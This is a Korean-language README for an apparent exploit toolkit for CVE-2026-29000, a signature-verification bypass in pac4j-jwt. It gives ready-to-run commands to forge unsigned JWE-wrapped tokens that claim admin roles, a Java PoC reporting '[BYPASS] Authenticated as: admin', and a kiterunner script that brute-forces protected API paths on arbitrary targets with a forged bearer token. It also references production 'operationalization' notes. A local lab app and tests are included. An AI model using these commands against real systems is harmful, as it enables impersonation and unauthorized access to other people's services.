
Forge JWE로 래핑된 서명 없는 JWT를 생성하여 pac4j-jwt 서명 검증(CVE-2026-29000)을 우회하고 임의의 사용자로 인증합니다. Python CLI, 라이브러리, Java PoC, kiterunner 경로 스캐닝을 포함합니다.
전체 구성: 분석 문서(writeup), Java 인프로세스 PoC, Python 토큰 위조 CLI 및 라이브러리, 테스트.
자세한 내용과 PoC 요구 사항은 WRITEUP.md를 참조하세요.
| 경로 | 설명 |
|---|---|
WRITEUP.md | CVE 요약, 근본 원인, 영향 버전, PoC 요구 사항, 참고 자료 |
RECON.md | 넣을 내용(클레임 발견, 앱별 클레임) 및 제출 위치(헤더, 쿠키, 보호된 엔드포인트 찾기) |
OPERATIONALIZATION.md | 프로덕션 실행에 필요한 사항: 패키징, 구성, 안전, 자동화, 관찰 가능성, 유지보수 |
scripts/kr_scan.py | 토큰을 위조하고 Authorization: Bearer와 함께 kiterunner(~/bin/kr)를 실행하여 보호된 API 경로를 무차별 대입/스캔 |
examples/ | 예제 스크립트: forge_and_curl.sh, forge_and_kr.sh |
lab/ | 토큰 위조 테스트용 Flask 랩 앱(JWE 엔드포인트 + JWKS) |
poc/ | Java Maven PoC(pac4j-jwt 6.0.3에 대한 인프로세스 우회) |
token_forge/ | Python 패키지: PEM 또는 JWKS URL에서 JWE로 래핑된 PlainJWT 위조 |
tests/ | 클레임, 위조, 키, CLI에 대한 Pytest 테스트 |
requirements.txt | Python 종속성(jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # Windows에서는 .venv\Scripts\activate
pip install -r requirements.txt
# PEM에서 (생성: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# JWKS URL에서
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# 추가 클레임(앱별 발견용): --claim [email protected] --claim key=value
# 옵션: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
출력: 한 줄(위조된 JWT); Authorization: Bearer <token>으로 사용.
~/bin/kr에 kr이 필요합니다. 토큰을 위조하고 Bearer 인증으로 kr brute(또는 kr scan)를 실행하여 보호된 경로를 발견합니다:
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
옵션(--subject, --roles, --claim, -A, --scan 등)은 RECON.md §4를 참조하세요.
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# 또는 경고를 오류로 처리:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# 또는 토큰만 생성(인프로세스 검증 없음):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# 사용자 지정 subject/roles 사용:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
예상 결과: 인프로세스 실행 시 [BYPASS] Authenticated as: admin#override 및 roles 출력.
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # 그런 다음 htmlcov/index.html 열기
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
JWE를 수락하고 클레임을 반환하는 Flask 앱(위조 + curl/kr 테스트용).
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
lab/README.md를 참조하세요.